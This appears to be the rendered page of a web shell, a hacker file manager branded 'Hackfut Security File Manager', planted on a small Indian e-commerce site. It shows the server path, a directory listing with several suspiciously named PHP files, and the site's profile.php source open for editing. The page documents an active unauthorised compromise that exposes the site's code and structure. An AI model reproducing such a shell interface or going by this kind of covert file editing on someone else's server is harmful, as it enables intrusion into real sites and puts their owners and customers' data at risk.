Hackfut Security File Manager
Current Path:
/home/u126195517/domains/foodstamping.in/public_html
home
/
u126195517
/
domains
/
foodstamping.in
/
public_html
/
📁
..
📄
.vanta_notified
(8 B)
📄
1log.php
(51.35 KB)
📄
about.php
(10.64 KB)
📁
admin
📁
assets
📄
blue1.php
(93.4 KB)
📄
cart-action.php
(2.99 KB)
📄
check-pincode.php
(1.28 KB)
📄
checkout.html
(25.66 KB)
📁
config
📄
contact.php
(7.99 KB)
📄
footer.php
(5.85 KB)
📄
forgot-password.php
(6.49 KB)
📄
header-menu.php
(5.13 KB)
📄
index.php
(32.32 KB)
📄
login.html
(16.37 KB)
📄
login.php
(18.64 KB)
📄
logout.php
(478 B)
📁
models
📄
payment.html
(33.43 KB)
📄
product-single.html
(23.7 KB)
📄
product-single.php
(29.79 KB)
📄
products.php
(26.16 KB)
📄
profile.php
(15.54 KB)
📄
robots.txt
(2.62 KB)
📁
shop
📄
slider.php
(1.57 KB)
📁
uploads
📄
v3.php
(20.86 KB)
Editing: profile.php
<?php session_start(); require_once 'config/database.php'; // Check if user is logged in if(!isset($_SESSION['user_id'])) { $_SESSION['redirect_url'] = $_SERVER['REQUEST_URI']; header("Location: login.php"); exit(); } $database = new Database(); $db = $database->getConnection(); // Get user details $query = "SELECT * FROM customers WHERE id = :id"; $stmt = $db->prepare($query); $stmt->bindParam(':id', $_SESSION['user_id']); $stmt->execute(); $user = $stmt->fetch(PDO::FETCH_ASSOC); // Get user orders $orders_query = "SELECT o.*, (SELECT COUNT(*) FROM order_items WHERE order_id = o.id) as item_count FROM orders o WHERE o.customer_id = :customer_id ORDER BY o.created_at DESC LIMIT 5"; $orders_stmt = $db->prepare($orders_query); $orders_stmt->bindParam(':customer_id', $_SESSION['user_id']); $orders_stmt->execute(); $orders = $orders_stmt->fetchAll(PDO::FETCH_ASSOC); // Handle profile update if($_SERVER['REQUEST_METHOD'] == 'POST') { $first_name = trim($_POST['first_name']); $last_name = trim($_POST['last_name']); $phone = trim($_POST['phone']); $address = trim($_POST['address']); $city = trim($_POST['city']); $state = trim($_POST['state']); $pincode = trim($_POST['pincode']); $update_query = "UPDATE customers SET first_name = :first_name, last_name = :last_name, phone = :phone, address = :address, city = :city, state = :state, pincode = :pincode WHERE id = :id"; $update_stmt = $db->prepare($update_query); $update_stmt->bindParam(':first_name', $first_name); $update_stmt->bindParam(':last_name', $last_name); $update_stmt->bindParam(':phone', $phone); $update_stmt->bindParam(':address', $address); $update_stmt->bindParam(':city', $city); $update_stmt->bindParam(':state', $state); $update_stmt->bindParam(':pincode', $pincode); $update_stmt->bindParam(':id', $_SESSION['user_id']); if($update_stmt->execute()) { $_SESSION['user_name'] = $first_name . ' ' . $last_name; $success = "Profile updated successfully!"; // Refresh user data $stmt->execute(); $user = $stmt->fetch(PDO::FETCH_ASSOC); } else { $error = "Failed to update profile."; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>My Profile - A-1 Common Seal</title> <link rel="icon" href="assets/images/favicon-32x32.png" type="image/png"> <link href="//fonts.googleapis.com/css2?family=Kumbh+Sans:wght@300;400;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="assets/css/style-liberty.css"> <style> .profile-sidebar { background: #f8f9fa; padding: 20px; border-radius: 10px; } .profile-nav .nav-link { color: #333; padding: 10px 15px; margin-bottom: 5px; border-radius: 5px; } .profile-nav .nav-link:hover, .profile-nav .nav-link.active { background: #007bff; color: white; } .profile-content { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 20px rgba(0,0,0,0.1); } .order-card { border: 1px solid #ddd; padding: 15px; border-radius: 5px; margin-bottom: 15px; } </style> </head> <body> <?php include_once('header-menu.php'); ?> <section class="w3mid-gap"></section> <div class="inner-banner py-5"> <section class="w3l-breadcrumb text-left py-sm-5"> <div class="container"> <div class="w3breadcrumb-gids"> <div class="w3breadcrumb-left text-left"> <h2 class="inner-w3-title">My Profile</h2> </div> <div class="w3breadcrumb-right"> <ul class="breadcrumbs-custom-path"> <li><a href="index.php">Home</a></li> <li class="active"><span class="fas fa-angle-double-right mx-2"></span> Profile</li> </ul> </div> </div> </div> </section> </div> <section class="py-5"> <div class="container"> <div class="row"> <div class="col-lg-3"> <div class="profile-sidebar"> <div class="text-center mb-4"> <div class="avatar bg-primary text-white rounded-circle d-inline-flex align-items-center justify-content-center" style="width: 80px; height: 80px; font-size: 30px;"> <?php echo strtoupper(substr($user['first_name'], 0, 1) . substr($user['last_name'], 0, 1)); ?> </div> <h5 class="mt-3"><?php echo htmlspecialchars($user['first_name'] . ' ' . $user['last_name']); ?></h5> <p class="text-muted"><?php echo htmlspecialchars($user['email']); ?></p> </div> <nav class="profile-nav"> <a class="nav-link active" href="#profile" data-bs-toggle="tab"> <i class="fas fa-user me-2"></i> Profile Information </a> <a class="nav-link" href="#orders" data-bs-toggle="tab"> <i class="fas fa-shopping-bag me-2"></i> My Orders </a> <a class="nav-link" href="#password" data-bs-toggle="tab"> <i class="fas fa-lock me-2"></i> Change Password </a> <a class="nav-link" href="logout.php"> <i class="fas fa-sign-out-alt me-2"></i> Logout </a> </nav> </div> </div> <div class="col-lg-9"> <div class="profile-content"> <?php if(isset($success)): ?> <div class="alert alert-success"><?php echo $success; ?></div> <?php endif; ?> <?php if(isset($error)): ?> <div class="alert alert-danger"><?php echo $error; ?></div> <?php endif; ?> <div class="tab-content"> <!-- Profile Tab --> <div class="tab-pane fade show active" id="profile"> <h4 class="mb-4">Profile Information</h4> <form method="POST"> <div class="row"> <div class="col-md-6 mb-3"> <label>First Name</label> <input type="text" class="form-control" name="first_name" value="<?php echo htmlspecialchars($user['first_name']); ?>" required> </div> <div class="col-md-6 mb-3"> <label>Last Name</label> <input type="text" class="form-control" name="last_name" value="<?php echo htmlspecialchars($user['last_name']); ?>" required> </div> <div class="col-md-6 mb-3"> <label>Email</label> <input type="email" class="form-control" value="<?php echo htmlspecialchars($user['email']); ?>" readonly> </div> <div class="col-md-6 mb-3"> <label>Phone</label> <input type="tel" class="form-control" name="phone" value="<?php echo htmlspecialchars($user['phone']); ?>"> </div> <div class="col-12 mb-3"> <label>Address</label> <textarea class="form-control" name="address" rows="2"><?php echo htmlspecialchars($user['address']); ?></textarea> </div> <div class="col-md-4 mb-3"> <label>City</label> <input type="text" class="form-control" name="city" value="<?php echo htmlspecialchars($user['city']); ?>"> </div> <div class="col-md-4 mb-3"> <label>State</label> <input type="text" class="form-control" name="state" value="<?php echo htmlspecialchars($user['state']); ?>"> </div> <div class="col-md-4 mb-3"> <label>Pincode</label> <input type="text" class="form-control" name="pincode" value="<?php echo htmlspecialchars($user['pincode']); ?>"> </div> </div> <button type="submit" class="btn btn-primary">Update Profile</button> </form> </div> <!-- Orders Tab --> <div class="tab-pane fade" id="orders"> <h4 class="mb-4">My Orders</h4> <?php if(count($orders) > 0): ?> <?php foreach($orders as $order): ?> <div class="order-card"> <div class="d-flex justify-content-between"> <div> <h6>Order #<?php echo $order['order_number']; ?></h6> <p class="text-muted mb-0"> <?php echo date('M d, Y', strtotime($order['created_at'])); ?> </p> </div> <div class="text-end"> <h6>Rs. <?php echo number_format($order['total_amount'], 2); ?></h6> <span class="badge bg-<?php echo $order['status'] == 'delivered' ? 'success' : ($order['status'] == 'cancelled' ? 'danger' : 'warning'); ?>"> <?php echo ucfirst($order['status']); ?> </span> </div> </div> <hr> <div class="d-flex justify-content-between align-items-center"> <span><?php echo $order['item_count']; ?> item(s)</span> <a href="order-details.php?id=<?php echo $order['id']; ?>" class="btn btn-sm btn-outline-primary"> View Details </a> </div> </div> <?php endforeach; ?> <a href="orders.php" class="btn btn-primary">View All Orders</a> <?php else: ?> <p>You haven't placed any orders yet.</p> <a href="products.php" class="btn btn-primary">Start Shopping</a> <?php endif; ?> </div> <!-- Password Tab --> <div class="tab-pane fade" id="password"> <h4 class="mb-4">Change Password</h4> <form method="POST" action="change-password.php"> <div class="mb-3"> <label>Current Password</label> <input type="password" class="form-control" name="current_password" required> </div> <div class="mb-3"> <label>New Password</label> <input type="password" class="form-control" name="new_password" required minlength="6"> </div> <div class="mb-3"> <label>Confirm New Password</label> <input type="password" class="form-control" name="confirm_password" required> </div> <button type="submit" class="btn btn-primary">Change Password</button> </form> </div> </div> </div> </div> </div> </div> </section> <?php include_once('footer.php'); ?> <script src="assets/js/jquery-3.3.1.min.js"></script> <script src="assets/js/theme-change.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script> // Handle tab navigation $(document).ready(function() { // Get hash from URL var hash = window.location.hash; if(hash) { $('.profile-nav a[href="' + hash + '"]').tab('show'); } // Update URL when tab changes $('.profile-nav a').on('shown.bs.tab', function(e) { window.location.hash = e.target.hash; }); }); </script> </body> </html>
Upload File
Create Folder